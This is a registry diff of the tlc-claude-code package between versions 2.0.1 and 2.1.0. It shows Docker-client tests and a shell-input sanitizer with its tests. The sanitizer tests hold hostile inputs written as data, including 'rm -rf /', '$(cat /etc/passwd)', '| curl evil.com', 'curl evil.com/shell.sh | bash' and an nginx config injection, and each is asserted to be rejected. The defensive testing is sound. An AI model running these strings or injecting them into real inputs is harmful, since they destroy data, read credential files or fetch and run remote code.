tlc-claude-code 2.0.1 → 2.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.claude/commands/tlc/deploy.md +194 -2
- package/.claude/commands/tlc/e2e-verify.md +214 -0
- package/.claude/commands/tlc/guard.md +191 -0
- package/.claude/commands/tlc/help.md +32 -0
- package/.claude/commands/tlc/init.md +73 -37
- package/.claude/commands/tlc/llm.md +19 -4
- package/.claude/commands/tlc/preflight.md +134 -0
- package/.claude/commands/tlc/review.md +17 -4
- package/.claude/commands/tlc/watchci.md +159 -0
- package/.claude/hooks/tlc-block-tools.sh +41 -0
- package/.claude/hooks/tlc-capture-exchange.sh +50 -0
- package/.claude/hooks/tlc-post-build.sh +38 -0
- package/.claude/hooks/tlc-post-push.sh +22 -0
- package/.claude/hooks/tlc-prompt-guard.sh +69 -0
- package/.claude/hooks/tlc-session-init.sh +123 -0
- package/CLAUDE.md +12 -0
- package/bin/install.js +171 -2
- package/bin/postinstall.js +45 -26
- package/dashboard-web/dist/assets/index-CdS5CHqu.css +1 -0
- package/dashboard-web/dist/assets/index-CwNPPVpg.js +483 -0
- package/dashboard-web/dist/assets/index-CwNPPVpg.js.map +1 -0
- package/dashboard-web/dist/index.html +2 -2
- package/docker-compose.dev.yml +18 -12
- package/package.json +3 -1
- package/server/index.js +228 -2
- package/server/lib/capture-bridge.js +242 -0
- package/server/lib/capture-bridge.test.js +363 -0
- package/server/lib/capture-guard.js +140 -0
- package/server/lib/capture-guard.test.js +182 -0
- package/server/lib/command-runner.js +159 -0
- package/server/lib/command-runner.test.js +92 -0
- package/server/lib/deploy/runners/dependency-runner.js +106 -0
- package/server/lib/deploy/runners/dependency-runner.test.js +148 -0
- package/server/lib/deploy/runners/secrets-runner.js +174 -0
- package/server/lib/deploy/runners/secrets-runner.test.js +127 -0
- package/server/lib/deploy/security-gates.js +11 -24
- package/server/lib/deploy/security-gates.test.js +9 -2
- package/server/lib/deploy-engine.js +182 -0
- package/server/lib/deploy-engine.test.js +147 -0
- package/server/lib/docker-api.js +137 -0
- package/server/lib/docker-api.test.js +202 -0
- package/server/lib/docker-client.js +297 -0
- package/server/lib/docker-client.test.js +308 -0
- package/server/lib/input-sanitizer.js +86 -0
- package/server/lib/input-sanitizer.test.js +117 -0
- package/server/lib/launchd-agent.js +225 -0
- package/server/lib/launchd-agent.test.js +185 -0
- package/server/lib/memory-api.js +3 -1
- package/server/lib/memory-api.test.js +3 -5
- package/server/lib/memory-bridge-e2e.test.js +160 -0
- package/server/lib/memory-committer.js +18 -4
- package/server/lib/memory-committer.test.js +21 -0
- package/server/lib/memory-hooks-capture.test.js +69 -4
- package/server/lib/memory-hooks-integration.test.js +98 -0
- package/server/lib/memory-hooks.js +42 -4
- package/server/lib/memory-store-adapter.js +105 -0
- package/server/lib/memory-store-adapter.test.js +141 -0
- package/server/lib/memory-wiring-e2e.test.js +93 -0
- package/server/lib/nginx-config.js +114 -0
- package/server/lib/nginx-config.test.js +82 -0
- package/server/lib/ollama-health.js +91 -0
- package/server/lib/ollama-health.test.js +74 -0
- package/server/lib/port-guard.js +44 -0
- package/server/lib/port-guard.test.js +65 -0
- package/server/lib/project-scanner.js +37 -2
- package/server/lib/project-scanner.test.js +152 -0
- package/server/lib/remember-command.js +2 -0
- package/server/lib/remember-command.test.js +23 -0
- package/server/lib/security/crypto-utils.test.js +2 -2
- package/server/lib/semantic-recall.js +1 -1
- package/server/lib/semantic-recall.test.js +17 -0
- package/server/lib/ssh-client.js +184 -0
- package/server/lib/ssh-client.test.js +127 -0
- package/server/lib/vps-api.js +184 -0
- package/server/lib/vps-api.test.js +208 -0
- package/server/lib/vps-bootstrap.js +124 -0
- package/server/lib/vps-bootstrap.test.js +79 -0
- package/server/lib/vps-monitor.js +126 -0
- package/server/lib/vps-monitor.test.js +98 -0
- package/server/lib/workspace-api.js +182 -1
- package/server/lib/workspace-api.test.js +474 -0
- package/server/package-lock.json +737 -0
- package/server/package.json +3 -0
- package/dashboard-web/dist/assets/index-Uhc49PE-.css +0 -1
- package/dashboard-web/dist/assets/index-W36XHPC5.js +0 -431
- package/dashboard-web/dist/assets/index-W36XHPC5.js.map +0 -1
|
@@ -0,0 +1,308 @@
|
|
|
1
|
+
import { describe, it, expect, beforeEach, vi } from 'vitest';
|
|
2
|
+
|
|
3
|
+
const { createDockerClient } = await import('./docker-client.js');
|
|
4
|
+
|
|
5
|
+
/**
|
|
6
|
+
* Create a mock dockerode instance for injection
|
|
7
|
+
*/
|
|
8
|
+
function createMockDocker() {
|
|
9
|
+
const mockContainer = {
|
|
10
|
+
inspect: vi.fn(),
|
|
11
|
+
start: vi.fn(),
|
|
12
|
+
stop: vi.fn(),
|
|
13
|
+
restart: vi.fn(),
|
|
14
|
+
remove: vi.fn(),
|
|
15
|
+
stats: vi.fn(),
|
|
16
|
+
logs: vi.fn(),
|
|
17
|
+
};
|
|
18
|
+
|
|
19
|
+
const mockDocker = {
|
|
20
|
+
listContainers: vi.fn(),
|
|
21
|
+
getContainer: vi.fn(() => mockContainer),
|
|
22
|
+
listImages: vi.fn(),
|
|
23
|
+
listVolumes: vi.fn(),
|
|
24
|
+
ping: vi.fn(),
|
|
25
|
+
version: vi.fn(),
|
|
26
|
+
getEvents: vi.fn(),
|
|
27
|
+
};
|
|
28
|
+
|
|
29
|
+
return { mockDocker, mockContainer };
|
|
30
|
+
}
|
|
31
|
+
|
|
32
|
+
describe('DockerClient', () => {
|
|
33
|
+
let client;
|
|
34
|
+
let mockDocker;
|
|
35
|
+
let mockContainer;
|
|
36
|
+
|
|
37
|
+
beforeEach(() => {
|
|
38
|
+
const mocks = createMockDocker();
|
|
39
|
+
mockDocker = mocks.mockDocker;
|
|
40
|
+
mockContainer = mocks.mockContainer;
|
|
41
|
+
client = createDockerClient({ _docker: mockDocker });
|
|
42
|
+
vi.clearAllMocks();
|
|
43
|
+
});
|
|
44
|
+
|
|
45
|
+
describe('isAvailable', () => {
|
|
46
|
+
it('returns true when Docker socket is accessible', async () => {
|
|
47
|
+
mockDocker.ping.mockResolvedValue('OK');
|
|
48
|
+
mockDocker.version.mockResolvedValue({ Version: '24.0.0', ApiVersion: '1.43' });
|
|
49
|
+
|
|
50
|
+
const result = await client.isAvailable();
|
|
51
|
+
expect(result).toEqual({
|
|
52
|
+
available: true,
|
|
53
|
+
version: '24.0.0',
|
|
54
|
+
apiVersion: '1.43',
|
|
55
|
+
});
|
|
56
|
+
});
|
|
57
|
+
|
|
58
|
+
it('returns false when Docker socket is missing', async () => {
|
|
59
|
+
mockDocker.ping.mockRejectedValue(new Error('connect ENOENT /var/run/docker.sock'));
|
|
60
|
+
|
|
61
|
+
const result = await client.isAvailable();
|
|
62
|
+
expect(result).toEqual({
|
|
63
|
+
available: false,
|
|
64
|
+
error: expect.stringContaining('ENOENT'),
|
|
65
|
+
});
|
|
66
|
+
});
|
|
67
|
+
});
|
|
68
|
+
|
|
69
|
+
describe('listContainers', () => {
|
|
70
|
+
it('returns formatted container objects', async () => {
|
|
71
|
+
mockDocker.listContainers.mockResolvedValue([
|
|
72
|
+
{
|
|
73
|
+
Id: 'abc123def456',
|
|
74
|
+
Names: ['/tlc-dev-dashboard'],
|
|
75
|
+
Image: 'node:20-alpine',
|
|
76
|
+
State: 'running',
|
|
77
|
+
Status: 'Up 2 hours',
|
|
78
|
+
Ports: [{ PrivatePort: 3147, PublicPort: 3147, Type: 'tcp' }],
|
|
79
|
+
Created: 1708300000,
|
|
80
|
+
Labels: { 'com.docker.compose.project': 'tlc' },
|
|
81
|
+
},
|
|
82
|
+
]);
|
|
83
|
+
|
|
84
|
+
const containers = await client.listContainers();
|
|
85
|
+
expect(containers).toHaveLength(1);
|
|
86
|
+
expect(containers[0]).toEqual({
|
|
87
|
+
id: 'abc123def456',
|
|
88
|
+
name: 'tlc-dev-dashboard',
|
|
89
|
+
image: 'node:20-alpine',
|
|
90
|
+
state: 'running',
|
|
91
|
+
status: 'Up 2 hours',
|
|
92
|
+
ports: [{ private: 3147, public: 3147, type: 'tcp' }],
|
|
93
|
+
created: 1708300000,
|
|
94
|
+
labels: { 'com.docker.compose.project': 'tlc' },
|
|
95
|
+
});
|
|
96
|
+
});
|
|
97
|
+
|
|
98
|
+
it('lists all containers including stopped when all=true', async () => {
|
|
99
|
+
mockDocker.listContainers.mockResolvedValue([]);
|
|
100
|
+
await client.listContainers(true);
|
|
101
|
+
expect(mockDocker.listContainers).toHaveBeenCalledWith({ all: true });
|
|
102
|
+
});
|
|
103
|
+
|
|
104
|
+
it('lists only running containers by default', async () => {
|
|
105
|
+
mockDocker.listContainers.mockResolvedValue([]);
|
|
106
|
+
await client.listContainers();
|
|
107
|
+
expect(mockDocker.listContainers).toHaveBeenCalledWith({ all: false });
|
|
108
|
+
});
|
|
109
|
+
});
|
|
110
|
+
|
|
111
|
+
describe('getContainer', () => {
|
|
112
|
+
it('returns full detail for valid container ID', async () => {
|
|
113
|
+
mockContainer.inspect.mockResolvedValue({
|
|
114
|
+
Id: 'abc123',
|
|
115
|
+
Name: '/tlc-dev-dashboard',
|
|
116
|
+
Config: {
|
|
117
|
+
Image: 'node:20-alpine',
|
|
118
|
+
Env: ['NODE_ENV=development', 'TLC_PORT=3147'],
|
|
119
|
+
},
|
|
120
|
+
State: { Status: 'running', StartedAt: '2026-02-18T00:00:00Z' },
|
|
121
|
+
Mounts: [{ Source: '/home/user/tlc', Destination: '/tlc', RW: true }],
|
|
122
|
+
NetworkSettings: { Networks: { bridge: { IPAddress: '172.17.0.2' } } },
|
|
123
|
+
HostConfig: { PortBindings: { '3147/tcp': [{ HostPort: '3147' }] } },
|
|
124
|
+
});
|
|
125
|
+
|
|
126
|
+
const detail = await client.getContainer('abc123');
|
|
127
|
+
expect(detail.id).toBe('abc123');
|
|
128
|
+
expect(detail.name).toBe('tlc-dev-dashboard');
|
|
129
|
+
expect(detail.image).toBe('node:20-alpine');
|
|
130
|
+
expect(detail.state).toBe('running');
|
|
131
|
+
expect(detail.env).toContain('NODE_ENV=development');
|
|
132
|
+
expect(detail.mounts).toHaveLength(1);
|
|
133
|
+
expect(detail.mounts[0].source).toBe('/home/user/tlc');
|
|
134
|
+
});
|
|
135
|
+
|
|
136
|
+
it('throws for non-existent container', async () => {
|
|
137
|
+
mockContainer.inspect.mockRejectedValue(
|
|
138
|
+
Object.assign(new Error('no such container'), { statusCode: 404 })
|
|
139
|
+
);
|
|
140
|
+
await expect(client.getContainer('nonexistent')).rejects.toThrow('no such container');
|
|
141
|
+
});
|
|
142
|
+
});
|
|
143
|
+
|
|
144
|
+
describe('startContainer', () => {
|
|
145
|
+
it('calls dockerode start', async () => {
|
|
146
|
+
mockContainer.start.mockResolvedValue();
|
|
147
|
+
await client.startContainer('abc123');
|
|
148
|
+
expect(mockDocker.getContainer).toHaveBeenCalledWith('abc123');
|
|
149
|
+
expect(mockContainer.start).toHaveBeenCalled();
|
|
150
|
+
});
|
|
151
|
+
});
|
|
152
|
+
|
|
153
|
+
describe('stopContainer', () => {
|
|
154
|
+
it('calls dockerode stop', async () => {
|
|
155
|
+
mockContainer.stop.mockResolvedValue();
|
|
156
|
+
await client.stopContainer('abc123');
|
|
157
|
+
expect(mockDocker.getContainer).toHaveBeenCalledWith('abc123');
|
|
158
|
+
expect(mockContainer.stop).toHaveBeenCalled();
|
|
159
|
+
});
|
|
160
|
+
});
|
|
161
|
+
|
|
162
|
+
describe('restartContainer', () => {
|
|
163
|
+
it('calls dockerode restart', async () => {
|
|
164
|
+
mockContainer.restart.mockResolvedValue();
|
|
165
|
+
await client.restartContainer('abc123');
|
|
166
|
+
expect(mockDocker.getContainer).toHaveBeenCalledWith('abc123');
|
|
167
|
+
expect(mockContainer.restart).toHaveBeenCalled();
|
|
168
|
+
});
|
|
169
|
+
});
|
|
170
|
+
|
|
171
|
+
describe('removeContainer', () => {
|
|
172
|
+
it('removes container with force option', async () => {
|
|
173
|
+
mockContainer.remove.mockResolvedValue();
|
|
174
|
+
await client.removeContainer('abc123', true);
|
|
175
|
+
expect(mockContainer.remove).toHaveBeenCalledWith({ force: true });
|
|
176
|
+
});
|
|
177
|
+
|
|
178
|
+
it('removes container without force by default', async () => {
|
|
179
|
+
mockContainer.remove.mockResolvedValue();
|
|
180
|
+
await client.removeContainer('abc123');
|
|
181
|
+
expect(mockContainer.remove).toHaveBeenCalledWith({ force: false });
|
|
182
|
+
});
|
|
183
|
+
});
|
|
184
|
+
|
|
185
|
+
describe('getContainerStats', () => {
|
|
186
|
+
it('calculates CPU percentage from raw stats', async () => {
|
|
187
|
+
mockContainer.stats.mockResolvedValue({
|
|
188
|
+
cpu_stats: {
|
|
189
|
+
cpu_usage: { total_usage: 500000000 },
|
|
190
|
+
system_cpu_usage: 10000000000,
|
|
191
|
+
online_cpus: 4,
|
|
192
|
+
},
|
|
193
|
+
precpu_stats: {
|
|
194
|
+
cpu_usage: { total_usage: 400000000 },
|
|
195
|
+
system_cpu_usage: 9000000000,
|
|
196
|
+
},
|
|
197
|
+
memory_stats: {
|
|
198
|
+
usage: 104857600,
|
|
199
|
+
limit: 2147483648,
|
|
200
|
+
stats: { cache: 10485760 },
|
|
201
|
+
},
|
|
202
|
+
networks: {
|
|
203
|
+
eth0: { rx_bytes: 1024000, tx_bytes: 512000 },
|
|
204
|
+
},
|
|
205
|
+
});
|
|
206
|
+
|
|
207
|
+
const stats = await client.getContainerStats('abc123');
|
|
208
|
+
expect(stats.cpuPercent).toBeGreaterThan(0);
|
|
209
|
+
expect(stats.memoryUsage).toBeGreaterThan(0);
|
|
210
|
+
expect(stats.memoryLimit).toBe(2147483648);
|
|
211
|
+
expect(stats.networkRx).toBe(1024000);
|
|
212
|
+
expect(stats.networkTx).toBe(512000);
|
|
213
|
+
});
|
|
214
|
+
});
|
|
215
|
+
|
|
216
|
+
describe('getContainerLogs', () => {
|
|
217
|
+
it('returns recent log lines', async () => {
|
|
218
|
+
const mockStream = Buffer.from('line1\nline2\nline3\n');
|
|
219
|
+
mockContainer.logs.mockResolvedValue(mockStream);
|
|
220
|
+
|
|
221
|
+
const logs = await client.getContainerLogs('abc123', { tail: 100 });
|
|
222
|
+
expect(mockContainer.logs).toHaveBeenCalledWith({
|
|
223
|
+
stdout: true,
|
|
224
|
+
stderr: true,
|
|
225
|
+
tail: 100,
|
|
226
|
+
timestamps: true,
|
|
227
|
+
});
|
|
228
|
+
expect(typeof logs).toBe('string');
|
|
229
|
+
});
|
|
230
|
+
});
|
|
231
|
+
|
|
232
|
+
describe('listImages', () => {
|
|
233
|
+
it('returns formatted image objects', async () => {
|
|
234
|
+
mockDocker.listImages.mockResolvedValue([
|
|
235
|
+
{
|
|
236
|
+
Id: 'sha256:abc123',
|
|
237
|
+
RepoTags: ['node:20-alpine'],
|
|
238
|
+
Size: 180000000,
|
|
239
|
+
Created: 1708200000,
|
|
240
|
+
},
|
|
241
|
+
]);
|
|
242
|
+
|
|
243
|
+
const images = await client.listImages();
|
|
244
|
+
expect(images).toHaveLength(1);
|
|
245
|
+
expect(images[0]).toEqual({
|
|
246
|
+
id: 'sha256:abc123',
|
|
247
|
+
tags: ['node:20-alpine'],
|
|
248
|
+
size: 180000000,
|
|
249
|
+
created: 1708200000,
|
|
250
|
+
});
|
|
251
|
+
});
|
|
252
|
+
});
|
|
253
|
+
|
|
254
|
+
describe('listVolumes', () => {
|
|
255
|
+
it('returns formatted volume objects', async () => {
|
|
256
|
+
mockDocker.listVolumes.mockResolvedValue({
|
|
257
|
+
Volumes: [
|
|
258
|
+
{
|
|
259
|
+
Name: 'postgres-data',
|
|
260
|
+
Driver: 'local',
|
|
261
|
+
Mountpoint: '/var/lib/docker/volumes/postgres-data/_data',
|
|
262
|
+
CreatedAt: '2026-02-18T00:00:00Z',
|
|
263
|
+
},
|
|
264
|
+
],
|
|
265
|
+
});
|
|
266
|
+
|
|
267
|
+
const volumes = await client.listVolumes();
|
|
268
|
+
expect(volumes).toHaveLength(1);
|
|
269
|
+
expect(volumes[0]).toEqual({
|
|
270
|
+
name: 'postgres-data',
|
|
271
|
+
driver: 'local',
|
|
272
|
+
mountpoint: '/var/lib/docker/volumes/postgres-data/_data',
|
|
273
|
+
createdAt: '2026-02-18T00:00:00Z',
|
|
274
|
+
});
|
|
275
|
+
});
|
|
276
|
+
});
|
|
277
|
+
|
|
278
|
+
describe('matchContainerToProject', () => {
|
|
279
|
+
it('matches by container name pattern', () => {
|
|
280
|
+
const container = { name: 'tlc-myapp-dashboard', labels: {} };
|
|
281
|
+
const projects = [
|
|
282
|
+
{ name: 'myapp', path: '/home/user/myapp' },
|
|
283
|
+
{ name: 'other', path: '/home/user/other' },
|
|
284
|
+
];
|
|
285
|
+
const match = client.matchContainerToProject(container, projects);
|
|
286
|
+
expect(match).toBe('myapp');
|
|
287
|
+
});
|
|
288
|
+
|
|
289
|
+
it('matches by compose project label', () => {
|
|
290
|
+
const container = {
|
|
291
|
+
name: 'some-random-name',
|
|
292
|
+
labels: { 'com.docker.compose.project': 'myapp' },
|
|
293
|
+
};
|
|
294
|
+
const projects = [
|
|
295
|
+
{ name: 'myapp', path: '/home/user/myapp' },
|
|
296
|
+
];
|
|
297
|
+
const match = client.matchContainerToProject(container, projects);
|
|
298
|
+
expect(match).toBe('myapp');
|
|
299
|
+
});
|
|
300
|
+
|
|
301
|
+
it('returns null when no match found', () => {
|
|
302
|
+
const container = { name: 'unrelated-container', labels: {} };
|
|
303
|
+
const projects = [{ name: 'myapp', path: '/home/user/myapp' }];
|
|
304
|
+
const match = client.matchContainerToProject(container, projects);
|
|
305
|
+
expect(match).toBeNull();
|
|
306
|
+
});
|
|
307
|
+
});
|
|
308
|
+
});
|
|
@@ -0,0 +1,86 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Input Sanitizer — validation for user-supplied values used in shell commands
|
|
3
|
+
* Phase 80 Review Fix
|
|
4
|
+
*/
|
|
5
|
+
|
|
6
|
+
/** Strict DNS hostname pattern */
|
|
7
|
+
const DOMAIN_RE = /^[a-z0-9]([a-z0-9-]*[a-z0-9])?(\.[a-z0-9]([a-z0-9-]*[a-z0-9])?)*$/i;
|
|
8
|
+
|
|
9
|
+
/** Safe git branch pattern (allows slashes, dots, dashes, underscores) */
|
|
10
|
+
const BRANCH_RE = /^[a-zA-Z0-9._\/-]+$/;
|
|
11
|
+
|
|
12
|
+
/** Safe git repo URL pattern (git@... or https://...) */
|
|
13
|
+
const REPO_URL_RE = /^(git@[\w.-]+:[\w./-]+\.git|https?:\/\/[\w.-]+(\/[\w./-]+)*(\.git)?)$/;
|
|
14
|
+
|
|
15
|
+
/** Safe unix username pattern */
|
|
16
|
+
const USERNAME_RE = /^[a-z_][a-z0-9_-]*$/;
|
|
17
|
+
|
|
18
|
+
/** Safe project name pattern */
|
|
19
|
+
const PROJECT_NAME_RE = /^[a-zA-Z0-9._-]+$/;
|
|
20
|
+
|
|
21
|
+
/**
|
|
22
|
+
* Validate a DNS hostname/domain
|
|
23
|
+
* @param {string} domain
|
|
24
|
+
* @returns {boolean}
|
|
25
|
+
*/
|
|
26
|
+
function isValidDomain(domain) {
|
|
27
|
+
if (!domain || typeof domain !== 'string') return false;
|
|
28
|
+
if (domain.length > 253) return false;
|
|
29
|
+
return DOMAIN_RE.test(domain);
|
|
30
|
+
}
|
|
31
|
+
|
|
32
|
+
/**
|
|
33
|
+
* Validate a git branch name
|
|
34
|
+
* @param {string} branch
|
|
35
|
+
* @returns {boolean}
|
|
36
|
+
*/
|
|
37
|
+
function isValidBranch(branch) {
|
|
38
|
+
if (!branch || typeof branch !== 'string') return false;
|
|
39
|
+
if (branch.length > 255) return false;
|
|
40
|
+
if (branch.includes('..')) return false;
|
|
41
|
+
return BRANCH_RE.test(branch);
|
|
42
|
+
}
|
|
43
|
+
|
|
44
|
+
/**
|
|
45
|
+
* Validate a git repo URL
|
|
46
|
+
* @param {string} url
|
|
47
|
+
* @returns {boolean}
|
|
48
|
+
*/
|
|
49
|
+
function isValidRepoUrl(url) {
|
|
50
|
+
if (!url || typeof url !== 'string') return false;
|
|
51
|
+
return REPO_URL_RE.test(url);
|
|
52
|
+
}
|
|
53
|
+
|
|
54
|
+
/**
|
|
55
|
+
* Validate a unix username
|
|
56
|
+
* @param {string} username
|
|
57
|
+
* @returns {boolean}
|
|
58
|
+
*/
|
|
59
|
+
function isValidUsername(username) {
|
|
60
|
+
if (!username || typeof username !== 'string') return false;
|
|
61
|
+
if (username.length > 32) return false;
|
|
62
|
+
return USERNAME_RE.test(username);
|
|
63
|
+
}
|
|
64
|
+
|
|
65
|
+
/**
|
|
66
|
+
* Validate a project name (used in file paths)
|
|
67
|
+
* @param {string} name
|
|
68
|
+
* @returns {boolean}
|
|
69
|
+
*/
|
|
70
|
+
function isValidProjectName(name) {
|
|
71
|
+
if (!name || typeof name !== 'string') return false;
|
|
72
|
+
if (name.length > 128) return false;
|
|
73
|
+
if (name.includes('..') || name.includes('/')) return false;
|
|
74
|
+
return PROJECT_NAME_RE.test(name);
|
|
75
|
+
}
|
|
76
|
+
|
|
77
|
+
module.exports = {
|
|
78
|
+
isValidDomain,
|
|
79
|
+
isValidBranch,
|
|
80
|
+
isValidRepoUrl,
|
|
81
|
+
isValidUsername,
|
|
82
|
+
isValidProjectName,
|
|
83
|
+
DOMAIN_RE,
|
|
84
|
+
BRANCH_RE,
|
|
85
|
+
REPO_URL_RE,
|
|
86
|
+
};
|
|
@@ -0,0 +1,117 @@
|
|
|
1
|
+
import { describe, it, expect } from 'vitest';
|
|
2
|
+
|
|
3
|
+
const { isValidDomain, isValidBranch, isValidRepoUrl, isValidUsername, isValidProjectName } = await import('./input-sanitizer.js');
|
|
4
|
+
|
|
5
|
+
describe('Input Sanitizer', () => {
|
|
6
|
+
describe('isValidDomain', () => {
|
|
7
|
+
it('accepts valid domains', () => {
|
|
8
|
+
expect(isValidDomain('example.com')).toBe(true);
|
|
9
|
+
expect(isValidDomain('myapp.dev')).toBe(true);
|
|
10
|
+
expect(isValidDomain('sub.domain.example.com')).toBe(true);
|
|
11
|
+
expect(isValidDomain('a.io')).toBe(true);
|
|
12
|
+
});
|
|
13
|
+
|
|
14
|
+
it('rejects domains with shell metacharacters', () => {
|
|
15
|
+
expect(isValidDomain('example.com; rm -rf /')).toBe(false);
|
|
16
|
+
expect(isValidDomain('example.com`whoami`')).toBe(false);
|
|
17
|
+
expect(isValidDomain('example.com$(cat /etc/passwd)')).toBe(false);
|
|
18
|
+
expect(isValidDomain('example.com | curl evil.com')).toBe(false);
|
|
19
|
+
});
|
|
20
|
+
|
|
21
|
+
it('rejects nginx injection attempts', () => {
|
|
22
|
+
expect(isValidDomain('myapp.dev; include /etc/passwd;')).toBe(false);
|
|
23
|
+
expect(isValidDomain('myapp.dev\nserver_name evil.com')).toBe(false);
|
|
24
|
+
});
|
|
25
|
+
|
|
26
|
+
it('rejects empty/null/undefined', () => {
|
|
27
|
+
expect(isValidDomain('')).toBe(false);
|
|
28
|
+
expect(isValidDomain(null)).toBe(false);
|
|
29
|
+
expect(isValidDomain(undefined)).toBe(false);
|
|
30
|
+
});
|
|
31
|
+
});
|
|
32
|
+
|
|
33
|
+
describe('isValidBranch', () => {
|
|
34
|
+
it('accepts valid branch names', () => {
|
|
35
|
+
expect(isValidBranch('main')).toBe(true);
|
|
36
|
+
expect(isValidBranch('feature/login')).toBe(true);
|
|
37
|
+
expect(isValidBranch('fix-bug-123')).toBe(true);
|
|
38
|
+
expect(isValidBranch('release/v1.0.0')).toBe(true);
|
|
39
|
+
});
|
|
40
|
+
|
|
41
|
+
it('rejects branches with shell metacharacters', () => {
|
|
42
|
+
expect(isValidBranch('main; rm -rf /')).toBe(false);
|
|
43
|
+
expect(isValidBranch('main`whoami`')).toBe(false);
|
|
44
|
+
expect(isValidBranch('main$(cat /etc/passwd)')).toBe(false);
|
|
45
|
+
expect(isValidBranch('main | curl evil.com')).toBe(false);
|
|
46
|
+
});
|
|
47
|
+
|
|
48
|
+
it('rejects path traversal', () => {
|
|
49
|
+
expect(isValidBranch('../../../etc/passwd')).toBe(false);
|
|
50
|
+
});
|
|
51
|
+
|
|
52
|
+
it('rejects empty/null', () => {
|
|
53
|
+
expect(isValidBranch('')).toBe(false);
|
|
54
|
+
expect(isValidBranch(null)).toBe(false);
|
|
55
|
+
});
|
|
56
|
+
});
|
|
57
|
+
|
|
58
|
+
describe('isValidRepoUrl', () => {
|
|
59
|
+
it('accepts valid git URLs', () => {
|
|
60
|
+
expect(isValidRepoUrl('git@github.com:user/repo.git')).toBe(true);
|
|
61
|
+
expect(isValidRepoUrl('https://github.com/user/repo.git')).toBe(true);
|
|
62
|
+
expect(isValidRepoUrl('https://github.com/user/repo')).toBe(true);
|
|
63
|
+
});
|
|
64
|
+
|
|
65
|
+
it('rejects injection attempts', () => {
|
|
66
|
+
expect(isValidRepoUrl('; curl evil.com/shell.sh | bash;')).toBe(false);
|
|
67
|
+
expect(isValidRepoUrl('git@github.com:user/repo.git; rm -rf /')).toBe(false);
|
|
68
|
+
expect(isValidRepoUrl('$(whoami)')).toBe(false);
|
|
69
|
+
});
|
|
70
|
+
|
|
71
|
+
it('rejects empty/null', () => {
|
|
72
|
+
expect(isValidRepoUrl('')).toBe(false);
|
|
73
|
+
expect(isValidRepoUrl(null)).toBe(false);
|
|
74
|
+
});
|
|
75
|
+
});
|
|
76
|
+
|
|
77
|
+
describe('isValidUsername', () => {
|
|
78
|
+
it('accepts valid usernames', () => {
|
|
79
|
+
expect(isValidUsername('deploy')).toBe(true);
|
|
80
|
+
expect(isValidUsername('_admin')).toBe(true);
|
|
81
|
+
expect(isValidUsername('deploy-user')).toBe(true);
|
|
82
|
+
});
|
|
83
|
+
|
|
84
|
+
it('rejects injection attempts', () => {
|
|
85
|
+
expect(isValidUsername('deploy; rm -rf /')).toBe(false);
|
|
86
|
+
expect(isValidUsername('deploy`whoami`')).toBe(false);
|
|
87
|
+
});
|
|
88
|
+
|
|
89
|
+
it('rejects empty/null', () => {
|
|
90
|
+
expect(isValidUsername('')).toBe(false);
|
|
91
|
+
expect(isValidUsername(null)).toBe(false);
|
|
92
|
+
});
|
|
93
|
+
});
|
|
94
|
+
|
|
95
|
+
describe('isValidProjectName', () => {
|
|
96
|
+
it('accepts valid project names', () => {
|
|
97
|
+
expect(isValidProjectName('myapp')).toBe(true);
|
|
98
|
+
expect(isValidProjectName('my-app')).toBe(true);
|
|
99
|
+
expect(isValidProjectName('my_app.v2')).toBe(true);
|
|
100
|
+
});
|
|
101
|
+
|
|
102
|
+
it('rejects path traversal', () => {
|
|
103
|
+
expect(isValidProjectName('../etc/passwd')).toBe(false);
|
|
104
|
+
expect(isValidProjectName('foo/bar')).toBe(false);
|
|
105
|
+
});
|
|
106
|
+
|
|
107
|
+
it('rejects injection attempts', () => {
|
|
108
|
+
expect(isValidProjectName('myapp; rm -rf /')).toBe(false);
|
|
109
|
+
expect(isValidProjectName('myapp$(whoami)')).toBe(false);
|
|
110
|
+
});
|
|
111
|
+
|
|
112
|
+
it('rejects empty/null', () => {
|
|
113
|
+
expect(isValidProjectName('')).toBe(false);
|
|
114
|
+
expect(isValidProjectName(null)).toBe(false);
|
|
115
|
+
});
|
|
116
|
+
});
|
|
117
|
+
});
|